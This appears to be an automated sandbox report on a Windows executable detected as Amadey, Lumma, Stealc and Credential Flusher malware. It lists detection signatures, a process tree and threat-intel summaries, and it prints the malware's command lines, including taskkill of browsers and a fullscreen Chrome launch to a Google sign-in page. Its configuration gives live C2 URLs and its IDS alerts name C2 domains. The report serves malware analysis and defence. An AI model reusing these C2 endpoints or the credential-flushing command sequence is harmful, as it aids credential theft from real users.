Edit tour

Windows Analysis Report
xwZfYpo16i.exe

Overview

General Information

Sample name:	xwZfYpo16i.exe renamed because original name is a hash value
Original sample name:	a7cd5139890144e22b955bc41174f22b.exe
Analysis ID:	1527965
MD5:	a7cd5139890144e22b955bc41174f22b
SHA1:	1df1e8066fca31d34e60fdb40b0e3866f34ed941
SHA256:	d0175428447d496447f5f940366744ad3a300e8b3116a2a7852969fac0d12835
Tags:	32exe
Infos:

Detection

LummaC, Amadey, Credential Flusher, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Excessive usage of taskkill to terminate processes

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

xwZfYpo16i.exe (PID: 5260 cmdline: "C:\Users\user\Desktop\xwZfYpo16i.exe" MD5: A7CD5139890144E22B955BC41174F22B)

skotes.exe (PID: 4444 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A7CD5139890144E22B955BC41174F22B)

skotes.exe (PID: 3136 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A7CD5139890144E22B955BC41174F22B)

skotes.exe (PID: 5560 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A7CD5139890144E22B955BC41174F22B)

cb428cafc9.exe (PID: 6520 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe" MD5: 6D09B95CC7D01AFE4997AF5E6E550580)

taskkill.exe (PID: 1520 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2468 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1852 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 432 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4464 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3636 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5612 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5172 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6856 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5364 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5528 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

num.exe (PID: 2448 cmdline: "C:\Users\user\AppData\Local\Temp\1000336001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

4db5303091.exe (PID: 2504 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe" MD5: B15D0A2A19F5D2A6636C85443E0284C8)

cb428cafc9.exe (PID: 4568 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe" MD5: 6D09B95CC7D01AFE4997AF5E6E550580)

taskkill.exe (PID: 1224 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6416 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3148 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1532 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6476 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 2104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1536 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,9763649198199615889,4058380472595766421,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 4164 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6332 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1052 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6404 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1276 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 4696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2004,i,8592830290365317448,7467397625344037838,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 6620 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3628 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6580 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3868 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3140 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 4028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7032 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=2056,i,1132564284520540060,11615293102951086546,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 5536 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2664 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

num.exe (PID: 3568 cmdline: "C:\Users\user\AppData\Local\Temp\1000336001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

4db5303091.exe (PID: 6472 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe" MD5: B15D0A2A19F5D2A6636C85443E0284C8)

cb428cafc9.exe (PID: 7096 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe" MD5: 6D09B95CC7D01AFE4997AF5E6E550580)

taskkill.exe (PID: 5692 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3424 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000029.00000002.2898285254.0000000000641000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000000.2723151749.0000000000641000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2117620927.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000000.2885228529.0000000000641000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2737034611.0000000000641000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2131405540.0000000000221000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2158417575.0000000000B01000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2116705188.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2157232237.0000000000B01000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.3851843116.0000000001410000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000000.00000003.2044316715.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2520519803.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: cb428cafc9.exe PID: 6520	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 2448	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 2448	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: cb428cafc9.exe PID: 4568	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 3568	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 3568	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: cb428cafc9.exe PID: 7096	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
41.0.num.exe.640000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.skotes.exe.b00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.num.exe.640000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
22.0.num.exe.640000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
41.2.num.exe.640000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.xwZfYpo16i.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.b00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5560, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cb428cafc9.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5560, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cb428cafc9.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:32.751873+0200	2054653	1	A Network Trojan was detected	192.168.2.5	50031	172.67.206.204	443	TCP
2024-10-07T13:27:52.914749+0200	2054653	1	A Network Trojan was detected	192.168.2.5	50043	172.67.206.204	443	TCP
2024-10-07T13:28:14.771430+0200	2054653	1	A Network Trojan was detected	192.168.2.5	50056	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:32.751873+0200	2049836	1	A Network Trojan was detected	192.168.2.5	50031	172.67.206.204	443	TCP
2024-10-07T13:27:52.914749+0200	2049836	1	A Network Trojan was detected	192.168.2.5	50043	172.67.206.204	443	TCP
2024-10-07T13:28:14.771430+0200	2049836	1	A Network Trojan was detected	192.168.2.5	50056	172.67.206.204	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:21.293884+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	50003	185.215.113.103	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:15.584034+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49951	185.215.113.43	80	TCP
2024-10-07T13:27:25.036226+0200	2044696	1	A Network Trojan was detected	192.168.2.5	50019	185.215.113.43	80	TCP
2024-10-07T13:27:30.338115+0200	2044696	1	A Network Trojan was detected	192.168.2.5	50028	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.305175+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	61141	1.1.1.1	53	UDP
2024-10-07T13:27:49.687443+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	60396	1.1.1.1	53	UDP
2024-10-07T13:28:12.465266+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	50528	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.054965+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	63892	1.1.1.1	53	UDP
2024-10-07T13:27:49.628014+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	64118	1.1.1.1	53	UDP
2024-10-07T13:28:12.383686+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	56471	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:27:30.263305+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	56226	1.1.1.1	53	UDP
